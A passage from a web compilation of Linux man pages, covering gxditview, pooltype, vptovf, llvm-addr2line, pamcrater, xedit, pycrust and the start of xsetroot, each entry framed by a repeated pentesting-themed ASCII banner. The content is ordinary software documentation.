-100-----iso8859-1
CBI -adobe-courier-bold-o-normal–-100-----iso8859-1
HR -adobe-helvetica-medium-r-normal –
-100-----iso8859-1
HI -adobe-helvetica-medium-o-normal –-100-----iso8859-1
HB -adobe-helvetica-bold-r-normal –
-100-----iso8859-1
HBI -adobe-helvetica-bold-o-normal –-100-----iso8859-1
NR -adobe-new century schoolbook-medium-r-normal–
-100 -----iso8859-1
NI -adobe-new century schoolbook-medium-i-normal–-100 -----iso8859-1
NB -adobe-new century schoolbook-bold-r-normal–
-100 -----iso8859-1
NBI -adobe-new century schoolbook-bold-i-normal–-100 -----iso8859-1
S -adobe-symbol-medium-r-normal–
-100 -----adobe-fontspecific
SS -adobe-symbol-medium-r-normal–-100 ----*-adobe-fontspecific \

Options

-help and –help display a usage message, while -version and –version show version information; all exit afterward.

gxditview accepts all of the standard X Toolkit command-line options along with the additional options listed below.

-page
This option specifies the page number of the document to be displayed.

**-backingStore **backing-store-type
Because redisplay of the groff intermediate output window can take a perceiptible amount of time, this option causes the server to save the window contents so that when it is scrolled around the viewport, the window is painted from contents saved in backing store. backing-store-type can be one of Always, WhenMapped or NotUseful.

**-printCommand **command
The default command displayed in the dialog box for the Print menu entry will be command.

**-resolution **res
The groff intermediate output file will be displayed at a resolution of res dots per inch, unless the DESC file contains the X11 command, in which case the device resolution will be used. This corresponds to the Dvi widget’s resolution resource. The default is 75.

-filename string
The default filename displayed in the dialog box for the Open menu entry will be string. This can be either a filename, or a command starting with “
|
”.

The following standard X Toolkit command-line arguments are commonly used with gxditview.

**-bg **color
This option specifies the color to use for the background of the window. The default is “white”.

**-bd **color
This option specifies the color to use for the border of the window. The default is “black”.

**-bw **number
This option specifies the width in pixels of the border surrounding the window.

**-fg **color
This option specifies the color to use for displaying text. The default is “black”.

**-fn **font
This option specifies the font to be used for displaying widget text. The default is “fixed”.

-rv
This option indicates that reverse video should be simulated by swapping the foreground and background colors.

**-geometry **geometry
This option specifies the preferred size and position of the window.

**-display host:**display
This option specifies the X server to contact.

**-xrm **resourcestring
This option specifies a resource string to be used.

Environment

GROFF_FONT_PATH
A list of directories in which to seek the selected output device’s directory of device and font description files. See

and

Files

/etc/X11/app-defaults/GXditview
/etc/X11/app-defaults/GXditview-color
define X application defaults for gxditview. Users can override these values in the .Xdefaults file, normally located in the user’s home directory. See

and

/usr/share/groff/1.23.0/font/devX100/DESC
describes the X100 output device.

*/usr/share/groff/1.23.0/font/devX100/*F
describes the font known as F on device X100.

/usr/share/groff/1.23.0/font/devX100-12/DESC
describes the X100-12 output device.

*/usr/share/groff/1.23.0/font/devX100-12/*F
describes the font known as F on device X100-12.

/usr/share/groff/1.23.0/font/devX75/DESC
describes the X75 output device.

*/usr/share/groff/1.23.0/font/devX75/*F
describes the font known as F on device X75.

/usr/share/groff/1.23.0/font/devX75-12/DESC
describes the X75-12 output device.

*/usr/share/groff/1.23.0/font/devX75-12/*F
describes the font known as F on device X75-12.

/usr/share/groff/1.23.0/tmac/X.tmac
defines macros for use with the X100, X100-12, X75, and X75-12 output devices. It is automatically loaded by troffrc when any of those output devices is selected.

/usr/share/groff/1.23.0/tmac/Xps.tmac
sets up troff to use gxditview as a previewer for device-independent output targeting the ps output device. It is automatically loaded by troffrc when troff is given the options -X and -Tps.

Examples

The following command views this man page with a base point size of 12.

groff -TX100-12 -man gxditview.1

The quality of the result depends mainly on the chosen point size and display resolution; for rapid previewing, however, something like

groff -X -P-resolution -P100 document

yields acceptable results.

Authors

gxditview and its predecessor xditview were written by Keith Packard (MIT X Consortium), Richard L. Hyde (Purdue), David Slattengren (Berkeley), Malcolm Slaney (Schlumberger Palo Alto Research), Mark Moraes (University of Toronto), and James Clark.

This program is derived from xditview; portions of xditview originated in xtroff, which was derived from suntroff.

See also

“X Logical Font Description Conventions”, by Jim Flowers and Stephen Gildea.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

611 - Linux cli command pooltype

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pooltype and provides detailed information about the command pooltype, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pooltype.

NAME 🖥️ pooltype 🖥️

display a WEB pool file

SYNOPSIS

pooltype pool_file_name

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The pooltype program translates a (program-oriented) Web string pool file to a (human-oriented) text file.

The pool_file_name must be complete; no adding of default extensions or path searching is done.

SEE ALSO

tangle(1).

AUTHORS

Donald E. Knuth wrote the program and originally ported it to Unix. It was published as part of the TeXware technical report, available from the TeX Users Group.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

612 - Linux cli command vptovf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vptovf and provides detailed information about the command vptovf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vptovf.

NAME 🖥️ vptovf 🖥️

convert virtual property lists to virtual font metrics

SYNOPSIS

vptovf [-verbose] vpl_name[.vpl] [vfm_name[.vf] [tfm_name[.tfm]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The vptovf program translates a (human-oriented) property list file to a pair of (program-oriented) files in the VF (virtual font) and TFM (TeX font metric) formats. Thus, a virtual font file can be edited and its exact contents can be displayed mnemonically. New virtual fonts, which map characters as seen by TeX into an arbitrary sequence of low-level typesetting operations, can also be created in this way.

All three filenames, vpl_name, vf_name, and tfm_name, are extended with the appropriate suffix, if they lack one.

OPTIONS

Without the -verbose option, vptovf operates silently. With it, a banner and progress report are printed on stdout.

SEE ALSO

pltotf(1), tftopl(1), vftovp(1).

AUTHORS

Donald E. Knuth wrote the program, based in part on an idea of David Fuchs, starting with the code for pltotf(1). Karl Berry adapted it for compilation with web2c.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

613 - Linux cli command llvm-addr2line-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-addr2line-17 and provides detailed information about the command llvm-addr2line-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-addr2line-17.

NAME 🖥️ llvm-addr2line-17 🖥️

addr2line - a drop-in replacement for addr2line

SYNOPSIS

llvm-addr2line [options]

DESCRIPTION

llvm-addr2line is an alias for the llvm-symbolizer(1) tool with different defaults. The goal is to make it a drop-in replacement for GNU’s addr2line*.*

Here are some of those differences:

  • llvm-addr2line interprets all addresses as hexadecimal and ignores an optional 0x prefix, whereas llvm-symbolizer attempts to determine the base from the literal’s prefix and defaults to decimal if there is no prefix.

  • llvm-addr2line defaults not to print function names. Use -f to enable that.

  • llvm-addr2line defaults not to demangle function names. Use -C to switch the demangling on.

  • llvm-addr2line defaults not to print inlined frames. Use -i to show inlined frames for a source code location in an inlined function.

  • llvm-addr2line uses –output-style=GNU by default.

  • llvm-addr2line parses options from the environment variable LLVM_ADDR2LINE_OPTS instead of from LLVM_SYMBOLIZER_OPTS*.*

SEE ALSO

llvm-symbolizer(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

614 - Linux cli command pamcrater

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamcrater and provides detailed information about the command pamcrater, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamcrater.

.

NAME 🖥️ pamcrater 🖥️

create cratered terrain by fractal forgery

SYNOPSIS

pamcrater

[-number n]

[-height pixels]

[-width pixels]

[**-randomseed=**integer]

[-verbose]

DESCRIPTION

This program is part of Netpbm(1) .

pamcrater creates a PAM image which is a terrain map (not a visual image) of cratered terrain. The terrain is as if a given number of impacts into a surface create craters with random position and size.

The size distribution of the craters is based on a power law which results in many more small craters than large ones. The number of craters of a given size varies as the reciprocal of the area as described on pages 31 and 32 of Peitgen and Saupe[1]; cratered bodies in the Solar System are observed to obey this relationship. The formula used to obtain crater radii governed by this law from a uniformly distributed pseudorandom sequence was developed by Rudy Rucker.

A terrain map is a two dimensional map of terrain elevations. the PAM image that pamcrater produces is therefore not a visual image but a depth-one image of tuple type “elevation”, with the sample value being proportional to an elevation.

You can visualize the terrain map by generating a shaded relief image of it with pamshadedrelief.

High resolution images with large numbers of craters often benefit from being piped through pnmsmooth. The averaging performed by this process eliminates some of the jagged pixels and lends a mellow ``telescopic image’’ feel to the overall picture.

pamcrater generates only small craters, which are hemispherical in shape (regardless of the incidence angle of the impacting body, as long as the velocity is sufficiently high). Large craters, such as Copernicus and Tycho on the Moon, have a ``walled plain’’ shape with a cross-section more like:

                /\                            /\
          _____/  \____________/\____________/  \_____

Larger craters should really use this profile, including the central peak, and totally obliterate the pre-existing terrain.

The maxval of the PAM image is always 65535.

The randomness in the image is limited before Netpbm 10.37 (December 2006) – if you run the program twice in the same second, you may get identical output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamcrater recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix.

-number n
This causes pamcrater to generate n craters. If you do not specify -number, it generates 50000 craters. Don’t expect to see them all! For every large crater there are many, many more tiny ones which tend simply to erode the landscape. In general, the more craters you specify, the more realistic the result; ideally you want the entire terrain to have been extensively turned over again and again by cratering. High resolution images containing five to ten million craters are stunning but take longer to create.

-height height
This sets the height of the generated image to height pixels. The default height is 256 pixels.

-width width
This sets the width of the generated image to width pixels. The default width is 256 pixels.

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, pamcrater uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

This option was new in Netpbm 10.61 (December 2012).

-verbose
This causes pamcrater to issue additional messages about what it is doing.

This option was new in Neptbm 10.69 (December 2014).

EXAMPLES

    $ pamcrater | pamshadedrelief | pamx

    $ pamcrater -number=500000 -height=1000 -width=1000 >craters.pam

DESIGN NOTES

Real craters have two distinct morphologies.

SEE ALSO

pamshadedrelief(1) , ppmrelief(1) , pnmsmooth(1) pam(1) ,

[1]
Peitgen, H.-O., and Saupe, D. eds., The Science Of Fractal Images, New York: Springer Verlag, 1988.

AUTHOR

pgmcrater, from which this is derived, was written by John Walker:

John Walker
Autodesk SA
Avenue des Champs-Montants 14b
CH-2074 MARIN
Suisse/Schweiz/Svizzera/Svizra/Switzerland
    Usenet:[email protected]
    Fax:038/33 88 15
    Voice:038/33 76 33

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided “as is” without express or implied warranty.

HISTORY

John Walker wrote pgmcrater in 1991 and it was included in Pbmplus. pgmcrater did the equivalent of pamcrater | pamshadedrelief. In Netpbm 10.68 (September 2014), Bryan Henderson split the functions of pgmcrater into two programs, one (pamcrater) to compute elevations, and the other (pamshadedrelief) to generate a shaded relief visual image showing those elevations. Bryan did this because it is more in keeping with Netpbm’s modular architecture, and because the pamshadedrelief might be useful with other inputs.

(Like all Netpbm programs, pgmcrater was not static between the two events described above; minor changes, including replacement of most of the code, happened in between).

The original 1991 pgmcrater manual contains the following:

PLUGWARE!

If you like this kind of stuff, you may also enjoy “James Gleick’s Chaos–The Software” for MS-DOS, available for $59.95 from your local software store or directly from Autodesk, Inc., Attn: Science Series, 2320 Marinship Way, Sausalito, CA 94965, USA. Telephone: (800) 688-2344 toll-free or, outside the U.S. (415) 332-2344 Ext 4886. Fax: (415) 289-4718. “Chaos–The Software” includes a more comprehensive fractal forgery generator which creates three-dimensional landscapes as well as clouds and planets, plus five more modules which explore other aspects of Chaos. The user guide of more than 200 pages includes an introduction by James Gleick and detailed explanations by Rudy Rucker of the mathematics and algorithms used by each program.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamcrater.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

615 - Linux cli command xedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xedit and provides detailed information about the command xedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xedit.

NAME 🖥️ xedit 🖥️

simple text editor for X

SYNTAX

xedit [ -toolkitoption . . . ] [ filename . . . ]

DESCRIPTION

Xedit provides a window consisting of the following four areas:

Commands Section
A set of commands that allow you to exit xedit, save the file, or load a new file into the edit window.

Message Window
Displays xedit messages. In addition, this window can be also used as a scratch pad.

Filename Display
Displays the name of the file currently being edited, and whether this file is Read-Write or Read Only.

Edit Window
Displays the text of the file that you are editing or creating.

OPTIONS

Xedit accepts all of the standard X Toolkit command line options (see X(7)). The order of the command line options is not important.

filename
Specifies the file(s) that are to be loaded during start-up. This is the file which will be edited. If a file is not specified, xedit lets you load files or create new files after it has started up.

EDITING

The Athena Text widget is used for the three sections of this application that allow text input. The characters typed will go to the Text widget that has the input focus, or the Text widget that the pointer cursor is currently over.

The following keystroke combinations are defined:

Ctrl-aBeginning Of Line
Meta-bBackward Word
Ctrl-bBackward Character
Meta-fForward Word
Ctrl-dDelete Next Character
Meta-iInsert File
Ctrl-eEnd Of Line
Meta-kKill To End Of Paragraph
Ctrl-fForward Character
Meta-qForm Paragraph
Ctrl-gKeyboard Reset
Meta-vPrevious Page
Ctrl-hDelete Previous Character
Meta-yInsert Current Selection
Ctrl-jNewline And Indent
Meta-zScroll One Line Down
Ctrl-kKill To End Of Line
Meta-dDelete Next Word
Ctrl-lRedraw Display
Meta-DKill Word
Ctrl-mNewline
Meta-hDelete Previous Word
Ctrl-nNext Line
Meta-HBackward Kill Word
Ctrl-oNewline And Backup
Meta-<Beginning Of File
Ctrl-pPrevious Line
Meta->End Of File
Ctrl-rSearch/Replace Backward
Meta-]Forward Paragraph
Ctrl-sSearch/Replace Forward
Meta-[Backward Paragraph
Ctrl-tTranspose Characters
Ctrl-u [number]Multiply by 4 or number
Meta-DeleteDelete Previous Word
Ctrl-vNext Page
Meta-Shift DeleteKill Previous Word
Ctrl-wKill Selection
Meta-BackspaceDelete Previous Word
Ctrl-yUnkill
Meta-Shift BackspaceKill Previous Word
Ctrl-zScroll One Line Up
Meta-zScroll One Line Down
Ctrl-_Undo
EscapeLine Edit Mode

In addition, the pointer may be used to cut and paste text:

Button 1 DownStart Selection
Button 1 MotionAdjust Selection
Button 1 UpEnd Selection (cut)
Button 2 DownInsert Current Selection (paste)
Button 3 DownExtend Current Selection
Button 3 MotionAdjust Selection
Button 3 UpEnd Selection (cut)

LINE EDIT MODE

Line edit mode enables several shortcut commands for searching and replacing text in a xedit buffer. Line edit mode commands have the format:

	[line-number[,line-number]]command[parameters]

Line number may be specified as:

.
The current text line.

$
The last line of the file.

number
The literal line number.

- or ^
The previous line. Equivalent to -1.

-number or ^number
The current line minus number.

+
The next line. Equivalent to +1.

+number
The current line plus number.

, or %
From the first to the last line. Equivalent to 1,$.

;
From the current to the last line. Equivalent to .,$.

Command may be specified as:

s
Substitute text in the specified lines.

/re/
Search forward for the regular expression pattern re.

?re?
Search backward for the regular expression pattern re.

Parameters may be specified as:

/re/
Works as a parameter to i or as a command.

/re/text/
Search forward for re and substitute by text.

Options may follow or be parameters, known values are:

i
Case insensitive search.

g
Global match when replacing text. Unless specified, only the nth, that defaults to 1, match will be replaced.

c
Confirm before replacing text.

number
Replace only the occurrence referenced by number.

Commands accept some variations, examples:

	/pattern/i
	i/pattern/
	i/pattern

Search forward for pattern.

	,sc/pattern/text
	,sc/pattern/text/
	,s/pattern/text/c

Search the entire buffer and ask confirmation to replace pattern with text.

	,s/pattern/text/number

Replace the match number in the text line. If not specified, defaults to the first occurrence.

When searching for text, type <Return> to go to the next match. When interactively replacing text, type y or Y to accept the change, and n or N to ignore it and go to the next match.

COMMANDS

Quit
Quits the current editing session. If any changes have not been saved, xedit displays a warning message, allowing the user to save them.

Save
If file backups are enabled (see RESOURCES, below) xedit stores a copy of the original, unedited file in <prefix>file<suffix>, then overwrites the file with the contents of the edit window. The filename is retrieved from the Text widget directly to the right of the Load button.

Load
Loads the file named in the text widget immediately to the right of the this button and displays it in the Edit window.

RESOURCES

For xedit the available resources are:

tagsName (Class TagsName)
Specifies the name of the tags file to search when loading a new file. Default value is tags**.**

loadTags (Class LoadTags)
Boolean value to enable or disabling searching for tags files. Default is True**.**

enableBackups (Class EnableBackups)
Specifies that, when edits made to an existing file are saved, xedit is to copy the original version of that file to <prefix>file**<suffix>** before it saves the changes. The default value for this resource is ``on,’’ stating that backups should be created.

backupNamePrefix (Class BackupNamePrefix)
Specifies a string that is to be prepended to the backup filename. The default is that no string shall be prepended.

backupNameSuffix (Class BackupNameSuffix)
Specifies a string that is to be appended to the backup filename. The default is to use ``~’’ as the suffix.

positionFormat (Class Format)
Specifies a format string used to display the cursor position. This string uses printf(3) like notation, where %l prints the line number, %c prints the column number, %p prints the insert position offset, and %s prints the current file size. It is also allowed to specify field sizes, with the notation %-?[0-9]+ . The default format string is ``L%l’’, which shows the character ``L’’ followed by the line number.

hints (Class Hints)
Specifies a list of strings, separated by new lines, that will be displayed in the bc_label window.

hintsInterval (Class Interval)
Specifies the interval in seconds, which the hint string in the bc_label window will be changed.

changedBitmap (Class Bitmap)
Specifies the name of the Bitmap that will be displayed in the fileMenu, when the file being edited is changed.

autoReplace (Class Replace)
This resource is useful to automatically correct common misspelling errors, but can also be used to create simple macros. The format is {non-blanks}{blanks}[{string}]. Fields are separated by newlines. Example of use:

nto	  not


/macro some long string with
newlines \

Will automatically replace the word nto by not**, and** /macro by some long string with newlines when you type that words.

ispell.dictionaries (Class ispell.Dictionary)
Specifies a list of dictionary names, separated by spaces, available to the ispell program. The default value is “american americamed+ english”.

ispell.dictionary (Class ispell.Dictionary)
Specifies the default dictionary to use.

ispell*<DICTIONARY>.wordChars (Class ispell*Chars)
Specifies a set of characters that can be part of a legal word. The <DICTIONARY> field is one of the dictionaries specified in the dictionaries resource.

ispell.ispellCommand (Class ispell.CommandLine)
The path to the ispell program, and possibly, additional arguments. You don’t need to specify the ``-w’’ option, neither the ``-a’’ option. Refer to the ispell**(1) manpage for more information on ispell options.**

ispell.formatting (Class ispell.TextFormat)
Specifies which text formatting to use while spell checking the file. The available formats are text and html**.**

ispell*text.skipLines (Class ispell*text.Skip)
Lines starting with one of the characters in this string will not be spell checked. This resource is only used in text mode.

ispell.terseMode (Class ispell.Terse)
When enabled, runs ispell in terse mode, not asking user interaction for words generated through compound formation (when using the ispell ``-C’’ option), or words generated through affix removal. The default value is False.

ispell.lookCommand (Class ispell.CommandLine)
The path to the program to search for alternate words, and possibly, additional arguments. The default program used is /usr/bin/egrep**.**

ispell.wordsFile (Class ispell.Words)
The path to the file[s] to search for alternate words. The default file is /usr/share/dict/words**.**

ispell.guessLabel (Class ispell.Status)
String displayed in the ispell status bar when ispell returns a guess list of one or more words. The default value is Guess**.**

ispell.missLabel (Class ispell.Status)
String displayed in the ispell status bar when ispell returns a list of one or more words to match a misspelled one. The default value is Miss**.**

ispell.rootLabel (Class ispell.Status)
String displayed in the ispell status bar when the word is not in the dictionary, but it can be formed through a root one. The default value is Root:, and is followed by a space and the root word.

ispell.noneLabel (Class ispell.Status)
String displayed in the ispell status bar when there is no near misses. The default value is None**.**

ispell.compoundLabel (Class ispell.Status)
String displayed in the ispell status bar when the word being checked is formed by concatenation of two words. The default value is Compound**.**

ispell.okLabel (Class ispell.Status)
String displayed in the ispell status bar when the checked word is in the dictionary. This string is only displayed when using the check button in the xedit ispell interface. The default value is Ok**.**

ispell.eofLabel (Class ispell.Status)
The string displayed in the ispell status bar when the end of the file is reached. The default value is End Of File**.**

ispell.repeatLabel (Class ispell.Status)
The string displayed in the ispell status bar when two identical words are found together in the file. The default value is Repeat**.**

ispell.lookLabel (Class ispell.Status)
The string displayed in the ispell status bar after displaying the results of the Look command. If no results are found, the value of the ispell.noneLabel resource is shown.

ispell.workingLabel (Class ispell.Status)
The string displayed in the ispell status bar while xedit is communicating with ispell. The default value is .

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xedit. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

Xedit  xedit
        Paned  paned
                Paned  buttons
                        Command  quit
                        Command  save
                        Command  load
                        Text     filename
                Label  bc_label
                Text   messageWindow
                Label  labelWindow
                Text   editWindow

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/Xedit
specifies required resources

SEE ALSO

X(7), xrdb(1), Athena Widget Set

RESTRICTIONS

Xedit is not a replacement to Emacs.

AUTHORS

Chris D. Peterson, MIT X Consortium
Paulo Cesar Pereira de Andrade, The XFree86 Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

616 - Linux cli command pycrust

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pycrust and provides detailed information about the command pycrust, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pycrust.

NAME 🖥️ pycrust 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

617 - Linux cli command xsetroot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xsetroot and provides detailed information about the command xsetroot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xsetroot.

NAME 🖥️ xsetroot 🖥️

root window parameter setting utility for X

SYNOPSIS

xsetroot [-help] [-version] [-def] [-display display] [-cursor cursorfile maskfile] [-cursor_name cursorfontname] [-xcf cursorfile cursorsize] [-bitmap filename | -mod x y | -gray | -grey | -solid color] [-bg color] [-fg color] [-rv] [-name string] [-d display]

DESCRIPTION

